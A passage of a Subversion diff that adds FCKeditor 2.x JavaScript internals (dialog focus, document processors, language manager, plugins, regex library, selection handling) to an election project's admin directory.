+	// Try/Catch must be used to avoit an error when using a frameset 
+	// on a different domain: 
+	// "Permission denied to get property Window.releaseEvents".
+	try
+	{
+		window.top.captureEvents( Event.CLICK | Event.MOUSEDOWN | Event.MOUSEUP | Event.FOCUS ) ;
+		window.top.parent.addEventListener( 'mousedown', this.CheckFocus, true ) ;
+		window.top.parent.addEventListener( 'mouseup', this.CheckFocus, true ) ;
+		window.top.parent.addEventListener( 'click', this.CheckFocus, true ) ;
+		window.top.parent.addEventListener( 'focus', this.CheckFocus, true ) ;
+	}
+	catch (e)
+	{}
+}
+
+FCKDialog.CheckFocus = function()
+{
+	// It is strange, but we have to check the FCKDialog existence to avoid a 
+	// random error: "FCKDialog is not defined".
+	if ( typeof( FCKDialog ) != "object" )
+		return false ;
+	
+	if ( FCKDialog.Window && !FCKDialog.Window.closed )
+		FCKDialog.Window.focus() ;
+	else
+	{
+		// Try/Catch must be used to avoit an error when using a frameset 
+		// on a different domain: 
+		// "Permission denied to get property Window.releaseEvents".
+		try
+		{
+			window.top.releaseEvents(Event.CLICK | Event.MOUSEDOWN | Event.MOUSEUP | Event.FOCUS) ;
+			window.top.parent.removeEventListener( 'onmousedown', FCKDialog.CheckFocus, true ) ;
+			window.top.parent.removeEventListener( 'mouseup', FCKDialog.CheckFocus, true ) ;
+			window.top.parent.removeEventListener( 'click', FCKDialog.CheckFocus, true ) ;
+			window.top.parent.removeEventListener( 'onfocus', FCKDialog.CheckFocus, true ) ;
+		}
+		catch (e)
+		{}
+	}
+	return false ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdialog_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdialog_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdialog_ie.js	(revision 44)
@@ -0,0 +1,40 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckdialog_ie.js
+ * 	Dialog windows operations. (IE specific implementations)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKDialog.Show = function( dialogInfo, dialogName, pageUrl, dialogWidth, dialogHeight, parentWindow )
+{
+	if ( !parentWindow )
+		parentWindow = window ;
+
+	FCKFocusManager.Lock() ;
+	
+	var oReturn ;
+	
+	try
+	{
+		oReturn = parentWindow.showModalDialog( pageUrl, dialogInfo, "dialogWidth:" + dialogWidth + "px;dialogHeight:" + dialogHeight + "px;help:no;scroll:no;status:no") ;
+	}
+	catch( e ) 
+	{}
+	
+	if ( !oReturn )
+		alert( FCKLang.DialogBlocked ) ;	
+
+	FCKFocusManager.Unlock() ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdocumentprocessor.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdocumentprocessor.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckdocumentprocessor.js	(revision 44)
@@ -0,0 +1,175 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckdocumentprocessor.js
+ * 	Advanced document processors.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKDocumentProcessor = new Object() ;
+FCKDocumentProcessor._Items = new Array() ;
+
+FCKDocumentProcessor.AppendNew = function()
+{
+	var oNewItem = new Object() ;
+	this._Items.AddItem( oNewItem ) ;
+	return oNewItem ;
+}
+
+FCKDocumentProcessor.Process = function( document )
+{
+	var oProcessor, i = 0 ;
+	while( ( oProcessor = this._Items[i++] ) )
+		oProcessor.ProcessDocument( document ) ;
+}
+
+var FCKDocumentProcessor_CreateFakeImage = function( fakeClass, realElement )
+{
+	var oImg = FCK.EditorDocument.createElement( 'IMG' ) ;
+	oImg.className = fakeClass ;
+	oImg.src = FCKConfig.FullBasePath + 'images/spacer.gif' ;
+	oImg.setAttribute( '_fckfakelement', 'true', 0 ) ;
+	oImg.setAttribute( '_fckrealelement', FCKTempBin.AddElement( realElement ), 0 ) ;
+	return oImg ;
+}
+
+// Link Anchors
+var FCKAnchorsProcessor = FCKDocumentProcessor.AppendNew() ;
+FCKAnchorsProcessor.ProcessDocument = function( document )
+{
+	var aLinks = document.getElementsByTagName( 'A' ) ;
+
+	var oLink ;
+	var i = aLinks.length - 1 ;
+	while ( i >= 0 && ( oLink = aLinks[i--] ) )
+	{
+		// If it is anchor.
+		if ( oLink.name.length > 0 && ( !oLink.getAttribute('href') || oLink.getAttribute('href').length == 0 ) )
+		{
+			var oImg = FCKDocumentProcessor_CreateFakeImage( 'FCK__Anchor', oLink.cloneNode(true) ) ;
+			oImg.setAttribute( '_fckanchor', 'true', 0 ) ;
+			
+			oLink.parentNode.insertBefore( oImg, oLink ) ;
+			oLink.parentNode.removeChild( oLink ) ;
+		}
+	}
+}
+
+// Page Breaks
+var FCKPageBreaksProcessor = FCKDocumentProcessor.AppendNew() ;
+FCKPageBreaksProcessor.ProcessDocument = function( document )
+{
+	var aDIVs = document.getElementsByTagName( 'DIV' ) ;
+
+	var eDIV ;
+	var i = aDIVs.length - 1 ;
+	while ( i >= 0 && ( eDIV = aDIVs[i--] ) )
+	{
+		if ( eDIV.style.pageBreakAfter == 'always' && eDIV.childNodes.length == 1 && eDIV.childNodes[0].style && eDIV.childNodes[0].style.display == 'none' )
+		{
+			var oFakeImage = FCKDocumentProcessor_CreateFakeImage( 'FCK__PageBreak', eDIV.cloneNode(true) ) ;
+			
+			eDIV.parentNode.insertBefore( oFakeImage, eDIV ) ;
+			eDIV.parentNode.removeChild( eDIV ) ;
+		}
+	}
+/*
+	var aCenters = document.getElementsByTagName( 'CENTER' ) ;
+
+	var oCenter ;
+	var i = aCenters.length - 1 ;
+	while ( i >= 0 && ( oCenter = aCenters[i--] ) )
+	{
+		if ( oCenter.style.pageBreakAfter == 'always' && oCenter.innerHTML.trim().length == 0 )
+		{
+			var oFakeImage = FCKDocumentProcessor_CreateFakeImage( 'FCK__PageBreak', oCenter.cloneNode(true) ) ;
+			
+			oCenter.parentNode.insertBefore( oFakeImage, oCenter ) ;
+			oCenter.parentNode.removeChild( oCenter ) ;
+		}
+	}
+*/
+}
+
+// Flash Embeds.
+var FCKFlashProcessor = FCKDocumentProcessor.AppendNew() ;
+FCKFlashProcessor.ProcessDocument = function( document )
+{
+	/*
+	Sample code:
+	This is some <embed src="/UserFiles/Flash/Yellow_Runners.swf"></embed><strong>sample text</strong>. You are&nbsp;<a name="fred"></a> using <a href="http://www.fckeditor.net/">FCKeditor</a>.
+	*/
+
+	var aEmbeds = document.getElementsByTagName( 'EMBED' ) ;
+
+	var oEmbed ;
+	var i = aEmbeds.length - 1 ;
+	while ( i >= 0 && ( oEmbed = aEmbeds[i--] ) )
+	{
+		if ( oEmbed.src.endsWith( '.swf', true ) )
+		{
+			var oCloned = oEmbed.cloneNode( true ) ;
+			
+			// On IE, some properties are not getting clonned properly, so we 
+			// must fix it. Thanks to Alfonso Martinez.
+			if ( FCKBrowserInfo.IsIE )
+			{
+				var oAtt ;
+				if ( oAtt = oEmbed.getAttribute( 'scale' ) ) oCloned.setAttribute( 'scale', oAtt ) ;
+				if ( oAtt = oEmbed.getAttribute( 'play' ) ) oCloned.setAttribute( 'play', oAtt ) ;
+				if ( oAtt = oEmbed.getAttribute( 'loop' ) ) oCloned.setAttribute( 'loop', oAtt ) ;
+				if ( oAtt = oEmbed.getAttribute( 'menu' ) ) oCloned.setAttribute( 'menu', oAtt ) ;
+				if ( oAtt = oEmbed.getAttribute( 'wmode' ) ) oCloned.setAttribute( 'wmode', oAtt ) ;
+				if ( oAtt = oEmbed.getAttribute( 'quality' ) ) oCloned.setAttribute( 'quality', oAtt ) ;
+			}
+		
+			var oImg = FCKDocumentProcessor_CreateFakeImage( 'FCK__Flash', oCloned ) ;
+			oImg.setAttribute( '_fckflash', 'true', 0 ) ;
+			
+			FCKFlashProcessor.RefreshView( oImg, oEmbed ) ;
+
+			oEmbed.parentNode.insertBefore( oImg, oEmbed ) ;
+			oEmbed.parentNode.removeChild( oEmbed ) ;
+
+//			oEmbed.setAttribute( '_fcktemp', 'true', 0) ;
+//			oEmbed.style.display = 'none' ;
+//			oEmbed.hidden = true ;
+		}
+	}
+}
+
+FCKFlashProcessor.RefreshView = function( placholderImage, originalEmbed )
+{
+	if ( originalEmbed.width > 0 )
+		placholderImage.style.width = FCKTools.ConvertHtmlSizeToStyle( originalEmbed.width ) ;
+		
+	if ( originalEmbed.height > 0 )
+		placholderImage.style.height = FCKTools.ConvertHtmlSizeToStyle( originalEmbed.height ) ;
+}
+
+FCK.GetRealElement = function( fakeElement )
+{
+	var e = FCKTempBin.Elements[ fakeElement.getAttribute('_fckrealelement') ] ;
+
+	if ( fakeElement.getAttribute('_fckflash') )
+	{
+		if ( fakeElement.style.width.length > 0 )
+				e.width = FCKTools.ConvertStyleSizeToHtml( fakeElement.style.width ) ;
+		
+		if ( fakeElement.style.height.length > 0 )
+				e.height = FCKTools.ConvertStyleSizeToHtml( fakeElement.style.height ) ;
+	}
+	
+	return e ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcklanguagemanager.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcklanguagemanager.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcklanguagemanager.js	(revision 44)
@@ -0,0 +1,152 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcklanguagemanager.js
+ * 	Defines the FCKLanguageManager object that is used for language 
+ * 	operations.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+var FCKLanguageManager = FCK.Language = new Object() ;
+
+FCKLanguageManager.AvailableLanguages = 
+{
+	'ar'		: 'Arabic',
+	'bg'		: 'Bulgarian',
+	'bn'		: 'Bengali/Bangla',
+	'bs'		: 'Bosnian',
+	'ca'		: 'Catalan',
+	'cs'		: 'Czech',
+	'da'		: 'Danish',
+	'de'		: 'German',
+	'el'		: 'Greek',
+	'en'		: 'English',
+	'en-au'		: 'English (Australia)',
+	'en-ca'		: 'English (Canadian)',
+	'en-uk'		: 'English (United Kingdom)',
+	'eo'		: 'Esperanto',
+	'es'		: 'Spanish',
+	'et'		: 'Estonian',
+	'eu'		: 'Basque',
+	'fa'		: 'Persian',
+	'fi'		: 'Finnish',
+	'fo'		: 'Faroese',
+	'fr'		: 'French',
+	'gl'		: 'Galician',
+	'he'		: 'Hebrew',
+	'hi'		: 'Hindi',
+	'hr'		: 'Croatian',
+	'hu'		: 'Hungarian',
+	'it'		: 'Italian',
+	'ja'		: 'Japanese',
+	'km'		: 'Khmer',
+	'ko'		: 'Korean',
+	'lt'		: 'Lithuanian',
+	'lv'		: 'Latvian',
+	'mn'		: 'Mongolian',
+	'ms'		: 'Malay',
+	'nb'		: 'Norwegian Bokmal',
+	'nl'		: 'Dutch',
+	'no'		: 'Norwegian',
+	'pl'		: 'Polish',
+	'pt'		: 'Portuguese (Portugal)',
+	'pt-br'		: 'Portuguese (Brazil)',
+	'ro'		: 'Romanian',
+	'ru'		: 'Russian',
+	'sk'		: 'Slovak',
+	'sl'		: 'Slovenian',
+	'sr'		: 'Serbian (Cyrillic)',
+	'sr-latn'	: 'Serbian (Latin)',
+	'sv'		: 'Swedish',
+	'th'		: 'Thai',
+	'tr'		: 'Turkish',
+	'uk'		: 'Ukrainian',
+	'vi'		: 'Vietnamese',
+	'zh'		: 'Chinese Traditional',
+	'zh-cn'		: 'Chinese Simplified'
+}
+
+FCKLanguageManager.GetActiveLanguage = function()
+{
+	if ( FCKConfig.AutoDetectLanguage )
+	{
+		var sUserLang ;
+		
+		// IE accepts "navigator.userLanguage" while Gecko "navigator.language".
+		if ( navigator.userLanguage )
+			sUserLang = navigator.userLanguage.toLowerCase() ;
+		else if ( navigator.language )
+			sUserLang = navigator.language.toLowerCase() ;
+		else
+		{
+			// Firefox 1.0 PR has a bug: it doens't support the "language" property.
+			return FCKConfig.DefaultLanguage ;
+		}
+		
+		// Some language codes are set in 5 characters, 
+		// like "pt-br" for Brasilian Portuguese.
+		if ( sUserLang.length >= 5 )
+		{
+			sUserLang = sUserLang.substr(0,5) ;
+			if ( this.AvailableLanguages[sUserLang] ) return sUserLang ;
+		}
+		
+		// If the user's browser is set to, for example, "pt-br" but only the 
+		// "pt" language file is available then get that file.
+		if ( sUserLang.length >= 2 )
+		{
+			sUserLang = sUserLang.substr(0,2) ;
+			if ( this.AvailableLanguages[sUserLang] ) return sUserLang ;
+		}
+	}
+	
+	return this.DefaultLanguage ;
+}
+
+FCKLanguageManager.TranslateElements = function( targetDocument, tag, propertyToSet, encode )
+{
+	var e = targetDocument.getElementsByTagName(tag) ;
+	var sKey, s ;
+	for ( var i = 0 ; i < e.length ; i++ )
+	{
+		if ( sKey = e[i].getAttribute( 'fckLang' ) )
+		{
+			if ( s = FCKLang[ sKey ] )
+			{
+				if ( encode )
+					s = FCKTools.HTMLEncode( s ) ;
+				eval( 'e[i].' + propertyToSet + ' = s' ) ;
+			}
+		}
+	}
+}
+
+FCKLanguageManager.TranslatePage = function( targetDocument )
+{
+	this.TranslateElements( targetDocument, 'INPUT', 'value' ) ;
+	this.TranslateElements( targetDocument, 'SPAN', 'innerHTML' ) ;
+	this.TranslateElements( targetDocument, 'LABEL', 'innerHTML' ) ;
+	this.TranslateElements( targetDocument, 'OPTION', 'innerHTML', true ) ;
+}
+
+FCKLanguageManager.Initialize = function()
+{
+	if ( this.AvailableLanguages[ FCKConfig.DefaultLanguage ] )
+		this.DefaultLanguage = FCKConfig.DefaultLanguage ;
+	else
+		this.DefaultLanguage = 'en' ;
+
+	this.ActiveLanguage = new Object() ;
+	this.ActiveLanguage.Code = this.GetActiveLanguage() ;
+	this.ActiveLanguage.Name = this.AvailableLanguages[ this.ActiveLanguage.Code ] ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckplugins.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckplugins.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckplugins.js	(revision 44)
@@ -0,0 +1,42 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckplugins.js
+ * 	Defines the FCKPlugins object that is responsible for loading the Plugins.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKPlugins = FCK.Plugins = new Object() ;
+FCKPlugins.ItemsCount = 0 ;
+FCKPlugins.Items = new Object() ;
+	
+FCKPlugins.Load = function()
+{
+	var oItems = FCKPlugins.Items ;
+
+	// build the plugins collection.
+	for ( var i = 0 ; i < FCKConfig.Plugins.Items.length ; i++ )
+	{
+		var oItem = FCKConfig.Plugins.Items[i] ;
+		var oPlugin = oItems[ oItem[0] ] = new FCKPlugin( oItem[0], oItem[1], oItem[2] ) ;
+		FCKPlugins.ItemsCount++ ;
+	}
+
+	// Load all items in the plugins collection.
+	for ( var s in oItems )
+		oItems[s].Load() ;
+
+	// This is a self destroyable function (must be called once).
+	FCKPlugins.Load = null ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckregexlib.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckregexlib.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckregexlib.js	(revision 44)
@@ -0,0 +1,87 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckregexlib.js
+ * 	These are some Regular Expresions used by the editor.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKRegexLib = {
+
+// This is the Regular expression used by the SetHTML method for the "&apos;" entity.
+AposEntity		: /&apos;/gi ,
+
+// Used by the Styles combo to identify styles that can't be applied to text.
+ObjectElements	: /^(?:IMG|TABLE|TR|TD|TH|INPUT|SELECT|TEXTAREA|HR|OBJECT|A|UL|OL|LI)$/i ,
+
+BlockElements	: /^(?:P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TD|TH)$/i ,
+
+// Elements marked as empty "Empty" in the XHTML DTD.
+EmptyElements	: /^(?:BASE|META|LINK|HR|BR|PARAM|IMG|AREA|INPUT)$/i ,
+
+// List all named commands (commands that can be interpreted by the browser "execCommand" method.
+NamedCommands	: /^(?:Cut|Copy|Paste|Print|SelectAll|RemoveFormat|Unlink|Undo|Redo|Bold|Italic|Underline|StrikeThrough|Subscript|Superscript|JustifyLeft|JustifyCenter|JustifyRight|JustifyFull|Outdent|Indent|InsertOrderedList|InsertUnorderedList|InsertHorizontalRule)$/i ,
+
+BodyContents	: /([\s\S]*\<body[^\>]*\>)([\s\S]*)(\<\/body\>[\s\S]*)/i ,
+
+// Temporary text used to solve some browser specific limitations.
+ToReplace		: /___fcktoreplace:([\w]+)/ig ,
+
+// Get the META http-equiv attribute from the tag.
+MetaHttpEquiv	: /http-equiv\s*=\s*["']?([^"' ]+)/i ,
+
+HasBaseTag		: /<base /i ,
+
+HtmlOpener		: /<html\s?[^>]*>/i ,
+HeadOpener		: /<head\s?[^>]*>/i ,
+HeadCloser		: /<\/head\s*>/i ,
+
+TableBorderClass : /\s*FCK__ShowTableBorders\s*/ ,
+
+// Validate element names.
+ElementName		: /(^[A-Za-z_:][\w.\-:]*\w$)|(^[A-Za-z_]$)/ ,
+
+// Used in conjuction with the FCKConfig.ForceSimpleAmpersand configuration option.
+ForceSimpleAmpersand : /___FCKAmp___/g ,
+
+// Get the closing parts of the tags with no closing tags, like <br/>... gets the "/>" part.
+SpaceNoClose	: /\/>/g ,
+
+EmptyParagraph	: /^<(p|div)>\s*<\/\1>$/i ,
+
+TagBody			: /></ ,
+
+StrongOpener	: /<STRONG([ \>])/gi ,
+StrongCloser	: /<\/STRONG>/gi ,
+EmOpener		: /<EM([ \>])/gi ,
+EmCloser		: /<\/EM>/gi ,
+AbbrOpener		: /<ABBR([ \>])/gi ,
+AbbrCloser		: /<\/ABBR>/gi ,
+
+GeckoEntitiesMarker : /#\?-\:/g ,
+
+// We look for the "src" and href attribute with the " or ' or whithout one of
+// them. We have to do all in one, otherwhise we will have problems with URLs
+// like "thumbnail.php?src=someimage.jpg" (SF-BUG 1554141).
+ProtectUrlsImg	: /(?:(<img(?=\s).*?\ssrc=)("|')(.*?)\2)|(?:(<img\s.*?src=)([^"'][^ >]+))/gi ,
+ProtectUrlsA	: /(?:(<a(?=\s).*?\shref=)("|')(.*?)\2)|(?:(<a\s.*?href=)([^"'][^ >]+))/gi ,
+
+Html4DocType	: /HTML 4\.0 Transitional/i ,
+DocTypeTag		: /<!DOCTYPE[^>]*>/i ,
+
+// These regex are used to save the original event attributes in the HTML.
+TagsWithEvent	: /<[^\>]+ on\w+[\s\r\n]*=[\s\r\n]*?('|")[\s\S]+?\>/g ,
+EventAttributes	: /\s(on\w+)[\s\r\n]*=[\s\r\n]*?('|")([\s\S]*?)\2/g,
+ProtectedEvents : /\s\w+_fckprotectedatt="([^"]+)"/g
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckselection.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckselection.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckselection.js	(revision 44)
@@ -0,0 +1,20 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckselection.js
+ * 	Active selection functions.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKSelection = FCK.Selection = new Object() ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckselection_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckselection_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckselection_gecko.js	(revision 44)
@@ -0,0 +1,144 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckselection_gecko.js
+ * 	Active selection functions. (Gecko specific implementation)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// Get the selection type (like document.select.type in IE).
+FCKSelection.GetType = function()
+{
+//	if ( ! this._Type )
+//	{
+		// By default set the type to "Text".
+		this._Type = 'Text' ;
+
+		// Check if the actual selection is a Control (IMG, TABLE, HR, etc...).
+		var oSel ;
+		try { oSel = FCK.EditorWindow.getSelection() ; }
+		catch (e) {}
+		
+		if ( oSel && oSel.rangeCount == 1 )
+		{
+			var oRange = oSel.getRangeAt(0) ;
+			if ( oRange.startContainer == oRange.endContainer && (oRange.endOffset - oRange.startOffset) == 1 && oRange.startContainer.nodeType != Node.TEXT_NODE )
+				this._Type = 'Control' ;
+		}
+//	}
+	return this._Type ;
+}
+
+// Retrieves the selected element (if any), just in the case that a single
+// element (object like and image or a table) is selected.
+FCKSelection.GetSelectedElement = function()
+{
+	if ( this.GetType() == 'Control' )
+	{
+		var oSel = FCK.EditorWindow.getSelection() ;
+		return oSel.anchorNode.childNodes[ oSel.anchorOffset ] ;
+	}
+}
+
+FCKSelection.GetParentElement = function()
+{
+	if ( this.GetType() == 'Control' )
+		return FCKSelection.GetSelectedElement().parentNode ;
+	else
+	{
+		var oSel = FCK.EditorWindow.getSelection() ;
+		if ( oSel )
+		{
+			var oNode = oSel.anchorNode ;
+
+			while ( oNode && oNode.nodeType != 1 )
+				oNode = oNode.parentNode ;
+
+			return oNode ;
+		}
+	}
+}
+
+FCKSelection.SelectNode = function( element )
+{
+//	FCK.Focus() ;
+
+	var oRange = FCK.EditorDocument.createRange() ;
+	oRange.selectNode( element ) ;
+
+	var oSel = FCK.EditorWindow.getSelection() ;
+	oSel.removeAllRanges() ;
+	oSel.addRange( oRange ) ;
+}
+
+FCKSelection.Collapse = function( toStart )
+{
+	var oSel = FCK.EditorWindow.getSelection() ;
+	
+	if ( toStart == null || toStart === true )
+		oSel.collapseToStart() ;
+	else
+		oSel.collapseToEnd() ;
+}
+
+// The "nodeTagName" parameter must be Upper Case.
+FCKSelection.HasAncestorNode = function( nodeTagName )
+{
+	var oContainer = this.GetSelectedElement() ;
+	if ( ! oContainer && FCK.EditorWindow )
+	{
+		try		{ oContainer = FCK.EditorWindow.getSelection().getRangeAt(0).startContainer ; }
+		catch(e){}
+	}
+
+	while ( oContainer )
+	{
+		if ( oContainer.nodeType == 1 && oContainer.tagName == nodeTagName ) return true ;
+		oContainer = oContainer.parentNode ;
+	}
+
+	return false ;
+}
+
+// The "nodeTagName" parameter must be Upper Case.
+FCKSelection.MoveToAncestorNode = function( nodeTagName )
+{
+	var oNode ;
+
+	var oContainer = this.GetSelectedElement() ;
+	if ( ! oContainer )
+		oContainer = FCK.EditorWindow.getSelection().getRangeAt(0).startContainer ;
+
+	while ( oContainer )
+	{
+		if ( oContainer.tagName == nodeTagName ) 
+			return oContainer ;
+		oContainer = oContainer.parentNode ;
+	}
+	return null ;
+}
+
+FCKSelection.Delete = function()
+{
+	// Gets the actual selection.
+	var oSel = FCK.EditorWindow.getSelection() ;
+
+	// Deletes the actual selection contents.
+	for ( var i = 0 ; i < oSel.rangeCount ; i++ )
+	{
+		oSel.getRangeAt(i).deleteContents() ;
+	}
+
+	return oSel ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckselection_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckselection_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckselection_ie.js	(revision 44)
@@ -0,0 +1,151 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckselection_ie.js
+ * 	Active selection functions. (IE specific implementation)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// Get the selection type.
+FCKSelection.GetType = function()
+{
+	return FCK.EditorDocument.selection.type ;
+}
+
+// Retrieves the selected element (if any), just in the case that a single
+// element (object like and image or a table) is selected.
+FCKSelection.GetSelectedElement = function()
+{
+	if ( this.GetType() == 'Control' )
+	{
+		var oRange = FCK.EditorDocument.selection.createRange() ;
+
+		if ( oRange && oRange.item )
+			return FCK.EditorDocument.selection.createRange().item(0) ;
+	}
+}
+
+FCKSelection.GetParentElement = function()
+{
+	switch ( this.GetType() )
+	{
+		case 'Control' :
+			return FCKSelection.GetSelectedElement().parentElement ;
+		case 'None' :
+			return ;
+		default :
+			return FCK.EditorDocument.selection.createRange().parentElement() ;
+	}
+}
+
+FCKSelection.SelectNode = function( node )
+{
+	FCK.Focus() ;
+	FCK.EditorDocument.selection.empty() ;
+
+	try 
+	{
+		// Try to select the node as a control.
+		var oRange = FCK.EditorDocument.body.createControlRange() ;
+		oRange.addElement( node ) ;
+	} 
+	catch(e) 
+	{
+		// If failed, select it as a text range.
+		var oRange = FCK.EditorDocument.selection.createRange() ;
+		oRange.moveToElementText( node ) ;
+	}
+
+	oRange.select() ;
+}
+
+FCKSelection.Collapse = function( toStart )
+{
+	FCK.Focus() ;
+	if ( this.GetType() == 'Text' )
+	{
+		var oRange = FCK.EditorDocument.selection.createRange() ;
+		oRange.collapse( toStart == null || toStart === true ) ;
+		oRange.select() ;
+	}
+}
+
+// The "nodeTagName" parameter must be Upper Case.
+FCKSelection.HasAncestorNode = function( nodeTagName )
+{
+	var oContainer ;
+
+	if ( FCK.EditorDocument.selection.type == "Control" )
+	{
+		oContainer = this.GetSelectedElement() ;
+	}
+	else
+	{
+		var oRange  = FCK.EditorDocument.selection.createRange() ;
+		oContainer = oRange.parentElement() ;
+	}
+
+	while ( oContainer )
+	{
+		if ( oContainer.tagName == nodeTagName ) return true ;
+		oContainer = oContainer.parentNode ;
+	}
+
+	return false ;
+}
+
+// The "nodeTagName" parameter must be UPPER CASE.
+FCKSelection.MoveToAncestorNode = function( nodeTagName )
+{
+	var oNode ;
+
+	if ( FCK.EditorDocument.selection.type == "Control" )
+	{
+		var oRange = FCK.EditorDocument.selection.createRange() ;
+		for ( i = 0 ; i < oRange.length ; i++ )
+		{
+			if (oRange(i).parentNode)
+			{
+				oNode = oRange(i).parentNode ;
+				break ;
+			}
+		}
+	}
+	else
+	{
+		var oRange  = FCK.EditorDocument.selection.createRange() ;
+		oNode = oRange.parentElement() ;
+	}
+
+	while ( oNode && oNode.nodeName != nodeTagName )
+		oNode = oNode.parentNode ;
+
+	return oNode ;
+}
+
+FCKSelection.Delete = function()
+{
+	// Gets the actual selection.
+	var oSel = FCK.EditorDocument.selection ;
+
+	// Deletes the actual selection contents.
+	if ( oSel.type.toLowerCase() != "none" )
+	{
+		oSel.clear() ;
+	}
+
+	return oSel ;
+}
+
+
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktablehandler.js
===================================================================
